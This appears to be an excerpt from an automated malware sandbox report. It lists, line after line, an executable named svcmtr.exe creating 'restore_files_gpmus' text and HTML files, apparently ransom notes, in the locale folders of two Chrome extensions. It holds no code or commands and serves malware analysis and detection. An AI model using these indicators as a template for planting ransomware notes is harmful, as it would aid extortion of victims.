Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\es\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\es\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\fi\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\fi\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\fil\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\fil\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\fr\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\fr\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\he\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\he\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\hi\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\hi\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\hr\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\hr\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\hu\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\hu\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\id\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\id\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\it\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\it\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\ja\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\ja\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\ko\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\ko\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\lt\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\lt\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\lv\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\lv\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\nl\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\nl\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\no\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\no\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\pl\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\pl\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\pt_BR\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\pt_BR\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\pt_PT\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\pt_PT\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\ro\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\ro\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\ru\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\ru\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\sk\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\sk\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\sl\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\sl\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\sr\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\sr\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\sv\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\sv\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\th\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\th\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\tr\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\tr\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\uk\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\uk\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\vi\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\vi\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\zh_CN\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\zh_CN\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\zh_TW\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\zh_TW\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_metadata\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_metadata\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\ar\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\ar\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\bg\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\bg\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\ca\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\ca\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\cs\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\cs\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\da\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\da\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\de\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\de\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\el\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\el\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\en_GB\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\en_GB\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\en_US\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\en_US\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\es\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\es\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\es_419\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\es_419\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\et\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\et\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\fi\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\fi\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\fil\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\fil\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\_locales\fr\restore_files_gpmus.txt	Jump to behavior
